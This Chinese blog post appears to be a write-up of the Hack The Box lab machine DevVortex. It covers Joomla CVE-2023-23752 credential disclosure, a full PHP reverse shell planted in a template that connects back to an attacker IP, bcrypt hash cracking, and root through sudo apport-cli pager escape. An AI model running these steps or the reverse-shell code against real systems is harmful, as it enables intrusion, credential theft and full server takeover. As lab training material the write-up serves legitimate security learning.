HTB DevVortex渗透测试详细记录

你是慕鸢呀~ 发布于 11 天前 6 次阅读 3573 字 预计阅读时间: 16 分钟


摘要

本次渗透测试针对目标主机 10.10.11.242 (域名为 devvortex.htb) 进行。测试过程中发现目标系统运行着Ubuntu Linux系统,开放了SSH (22端口) 和HTTP (80端口) 服务。通过子域名枚举发现测试环境子域名 dev.devvortex.htb,该子域名运行着存在漏洞的Joomla 4.2.6 CMS。利用CVE-2023-23752(Joomla未授权访问漏洞)获取了数据库凭据,成功登录后台并上传WebShell获得初始访问权限。随后利用获取的数据库信息爆破用户密码获取普通用户权限,最终通过apport-cli的本地权限提升漏洞获取了系统root权限。整个渗透过程展示了从信息收集、漏洞利用到权限提升的完整攻击链。

关键技术

  • CVE-2023-23752 Joomla未授权访问漏洞利用
  • 数据库凭据提取与分析
  • CVE-2023-1326(类似漏洞)apport-cli本地提权漏洞利用

1. 初始侦察阶段

端口扫描命令及参数

首先进行全端口快速扫描,确定开放的端口:

nmap -p- --min-rate 10000 10.10.11.242

参数解释:

  • -p-:扫描所有65535个TCP端口
  • --min-rate 10000:设置发包速率不低于10000包/秒

开放端口及服务列表

扫描结果显示目标主机只开放了两个端口:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 14:46 CST
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

发现的服务版本信息

对开放的端口进行深入扫描,获取服务版本信息:

nmap -sT -sC -sV -O -p22,80 10.10.11.242

参数解释:

  • -sT:使用TCP全连接扫描
  • -sC:使用默认脚本进行扫描
  • -sV:探测服务版本信息
  • -O:尝试识别操作系统
  • -p22,80:指定扫描的端口

扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从扫描结果可以确定目标运行Ubuntu Linux系统,SSH服务为OpenSSH 8.2p1,HTTP服务为nginx 1.18.0。

2. 服务探测与信息收集

域名发现与配置

访问80端口时发现跳转到域名devvortex.htb,需要修改本地hosts文件:

echo "10.10.11.242 devvortex.htb" >> /etc/hosts

子域名枚举

使用ffuf工具进行子域名枚举:

ffuf -u http://10.10.11.242 -H 'Host: FUZZ.devvortex.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac

参数解释:

  • -u http://10.10.11.242:指定目标URL
  • -H 'Host: FUZZ.devvortex.htb':设置HTTP请求头中的Host字段,FUZZ为替换点
  • -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:使用的子域名字典
  • -mc all:匹配所有HTTP响应状态码
  • -ac:自动校准,根据通用响应自动过滤

枚举结果:

 :: Method           : GET
 :: URL              : http://10.10.11.242
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 227ms]

发现测试环境子域名dev.devvortex.htb,同样需要添加到hosts文件中。

CMS识别与版本确定

访问dev.devvortex.htb子域名,使用Wappalyzer浏览器插件识别出网站使用Joomla CMS。通过访问/administrator/manifests/files/joomla.xml可以确定Joomla版本:

<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>4.2.6</version>

确认Joomla版本为4.2.6。

通过访问/robots.txt进一步验证了网站使用Joomla CMS:

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

3. 漏洞识别与初始访问

漏洞发现

通过搜索发现Joomla 4.2.6版本存在未授权访问漏洞(CVE-2023-23752),影响版本范围为4.0.0到4.2.7。该漏洞是由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

漏洞利用

构造请求路径/api/index.php/v1/config/application?public=true来利用漏洞:

curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true

响应中包含敏感信息,通过搜索关键词userpassdb,发现了数据库凭据:

{
  "type": "application",
  "id": "224",
  "attributes": {
    "user": "lewis",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "password": "P4ntherg0t1n5r3c0n##",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "db": "joomla",
    "id": 224
  }
}

获取到数据库凭据:

  • 用户名:lewis
  • 密码:P4ntherg0t1n5r3c0n##
  • 数据库名:joomla

获取WebShell

使用获取的凭据尝试登录Joomla后台(http://dev.devvortex.htb/administrator/),登录成功。

通过后台界面操作路径:System → System Dashboard → Site Templates → Cassiopia Details and Files,找到可修改的PHP文件。

在模板文件中添加PHPWebShell代码,具体路径为error.php文件,但是蚁剑连接失败

既然可以写入php代码,那为什么不直接写入php反弹shell代码呢?直接写入

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.12';
$port = 9999;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

在本机上设置监听:

nc -lvnp 9999

访问http://dev.devvortex.htb/portfolio-details.html触发反弹Shell:

listening on [any] 9999 ...
connect to [10.10.16.12] from (UNKNOWN) [10.10.11.242] 39704
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 07:24:38 up  1:06,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功获得目标系统的初始访问权限,当前用户为www-data

4. 横向移动

尝试读取key1

检查系统上的用户目录:

$ cd /home
$ ls
logan
$ cd logan
$ ls
user.txt
$ cat user.txt
cat: user.txt: Permission denied

发现用户logan的目录中存在user.txt文件,但当前用户www-data没有权限读取。

连接数据库获取更多信息

使用之前获取的数据库凭据连接MySQL数据库:

mysql -u lewis -p'P4ntherg0t1n5r3c0n##' joomla

查看数据库中的表:

show tables;

查看用户表结构:

describe sd4fg_users;

表结构信息:

+---------------+---------------+------+-----+---------+----------------+
| Field         | Type          | Null | Key | Default | Extra          |
+---------------+---------------+------+-----+---------+----------------+
| id            | int           | NO   | PRI | NULL    | auto_increment |
| name          | varchar(400)  | NO   | MUL |         |                |
| username      | varchar(150)  | NO   | UNI |         |                |
| email         | varchar(100)  | NO   | MUL |         |                |
| password      | varchar(100)  | NO   |     |         |                |
| block         | tinyint       | NO   | MUL | 0       |                |
| sendEmail     | tinyint       | YES  |     | 0       |                |
| registerDate  | datetime      | NO   |     | NULL    |                |
| lastvisitDate | datetime      | YES  |     | NULL    |                |
| activation    | varchar(100)  | NO   |     |         |                |
| params        | text          | NO   |     | NULL    |                |
| lastResetTime | datetime      | YES  |     | NULL    |                |
| resetCount    | int           | NO   |     | 0       |                |
| otpKey        | varchar(1000) | NO   |     |         |                |
| otep          | varchar(1000) | NO   |     |         |                |
| requireReset  | tinyint       | NO   |     | 0       |                |
| authProvider  | varchar(100)  | NO   |     |         |                |
+---------------+---------------+------+-----+---------+----------------+

查询用户名和密码哈希:

select name,username,password from sd4fg_users;

查询结果:

+------------+----------+--------------------------------------------------------------+
| name       | username | password                                                     |
+------------+----------+--------------------------------------------------------------+
| lewis      | lewis    | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan paul | logan    | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+------------+----------+--------------------------------------------------------------+

获取到两个用户的密码哈希:

  • lewis: $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
  • logan: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

5. 权限提升前的信息收集

密码哈希爆破

将获取的密码哈希保存到本地文件(例如hash.txt),使用hashcat工具进行爆破:

hashcat hash /usr/share/wordlists/rockyou.txt --user -m 3200

参数解释:

  • `hash:保存密码哈希的文件
  • /usr/share/wordlists/rockyou.txt:使用的密码字典
  • --user:包含用户名信息
  • -m 3200:指定哈希类型为bcrypt ($2*$, Blowfish)

爆破结果:

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho

成功爆破出logan用户的密码:tequieromucho

切换用户并获取user标志

使用爆破出的密码切换到logan用户:

www-data@devvortex:/home/logan$ su logan
Password: tequieromucho
logan@devvortex:~$ ls
user.txt
logan@devvortex:~$ cat user.txt
f6e9dfe3bbaa9675e5b994b85501a12c

成功获取key1:f6e9dfe3bbaa9675e5b994b85501a12c

检查sudo权限

检查当前用户可以使用sudo执行的命令:

logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

发现logan用户可以使用sudo执行/usr/bin/apport-cli命令。

版本检查

检查apport-cli工具的版本:

logan@devvortex:~$ apport-cli --version
2.20.11

确认apport-cli版本为2.20.11,通过搜索发现该版本存在本地权限提升漏洞,此漏洞是 apport-cli 2.26.0 中的权限升级,类似于 CVE-2023-26604,此漏洞仅在 sudoers 中分配时有效:

poc在这里https://github.com/diego-tella/CVE-2023-1326-PoC

但是我们需要一份崩溃报告

直接让ai生成一份,保存在目标机器上,a.crash

6. 权限提升

创建崩溃报告文件

假的崩溃报告文件(a.crash):

CoreDump:
ProblemType: Crash
Date: Tue Apr 22 15:36:28 2025
ExecutablePath: /usr/bin/example_program
ExecutableTimestamp: 1650633456
ProcCmdline: example_program --test
ProcEnviron:
 PATH=(custom, user)
 LANG=en_US.UTF-8
 SHELL=/bin/bash
ProcMaps:
 00400000-00401000 r-xp 00000000 08:02 12345                             /usr/bin/example_program
 7fff68000000-7fff68021000 rw-p 00000000 00:00 0 
 7fff69000000-7fff69021000 rw-p 00000000 00:00 0 
UserGroups: adm cdrom sudo dip plugdev lpadmin sambashare
Signal: 11
Uname: Linux localhost 5.8.0-53-generic #60-Ubuntu SMP x86_64 GNU/Linux
Architecture: amd64
SourcePackage: example_package
PackageArchitecture: amd64
Uid: 1000
Pid: 12345
ProcCwd: /home/user
ProcStatus:
 Name:    example_program
 Umask:    0022
 State:    S (sleeping)
 Tgid:    12345
 Ngid:    0
 Pid:    12345
 PPid:    12344
 Uid:    1000    1000    1000    1000
 Gid:    1000    1000    1000    1000
 FDSize:    256

利用apport-cli漏洞

使用sudo执行apport-cli命令,指定刚创建的崩溃报告文件:

sudo /usr/bin/apport-cli -c a.crash

在apport-cli界面选择选项:

What would you like to do? Your options are:
  S: Send report (0.6 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V

输入V查看报告,然后在分页显示界面输入!/bin/bash执行shell命令:

Please choose (S/V/K/I/C): 
WARNING: terminal is not fully functional
== ExecutablePath =================================
/usr/bin/example_program

== ExecutableTimestamp =================================
1650633456

== PackageArchitecture =================================
amd64

== Pid =================================
12345

== ProblemType =================================
Crash
:!/bin/bash

成功获取root权限shell:

root@devvortex:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)

获取key2

root@devvortex:/home/logan# cd /root
root@devvortex:~# cat root.txt 
a16564b6702e38469729bb8fae78f564

7. 利用的漏洞清单

发现的安全漏洞

  1. Joomla未授权访问漏洞(CVE-2023-23752)
  • 严重级别:高
  • 影响:未经授权的用户可以获取敏感配置信息,包括数据库凭据
  1. apport-cli权限提升漏洞
  • 严重级别:高
  • 影响:本地用户可以利用该漏洞获取root权限

8. 漏洞利用路径总结

完整攻击链路图

端口扫描 → 发现HTTP服务 → 子域名枚举 → 发现dev子域名 → 识别Joomla CMS
    ↓
利用Joomla未授权访问漏洞 → 获取数据库凭据 → 登录Joomla后台 → 修改模板文件上传WebShell
    ↓
获取www-data权限 → 连接数据库 → 获取用户密码哈希 → 爆破密码哈希 → 获取logan用户密码
    ↓
切换到logan用户 → 获取user.txt → 发现sudo权限 → 检查apport-cli版本 → 创建崩溃报告文件
    ↓
利用apport-cli漏洞 → 获取root权限 → 获取root.txt

各阶段关键点总结

  1. 信息收集阶段
  • 端口扫描发现开放的SSH和HTTP服务
  • 子域名枚举发现测试环境子域名
  • CMS版本识别确定使用Joomla 4.2.6
  1. 初始访问阶段
  • 利用Joomla未授权访问漏洞获取数据库凭据
  • 利用获取的凭据登录后台
  • 修改模板文件上传WebShell获取反弹Shell
  1. 横向移动阶段
  • 连接数据库获取用户密码哈希
  • 爆破密码哈希获取用户密码
  • 切换到普通用户logan
  1. 权限提升阶段
  • 检查sudo权限发现可执行apport-cli
  • 确认apport-cli版本存在漏洞
  • 利用漏洞获取root权限

攻击向量简明展示

  1. 初始入口点: Joomla 4.2.6 未授权访问漏洞 (CVE-2023-23752)
  2. 凭据获取: 数据库配置信息泄露 → 用户密码哈希爆破
  3. 权限提升: apport-cli sudo权限 + 本地提权漏洞

以上攻击链利用了应用程序漏洞、配置错误和系统漏洞的组合,形成了一条完整的攻击路径,从普通访问者直达系统最高权限。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-22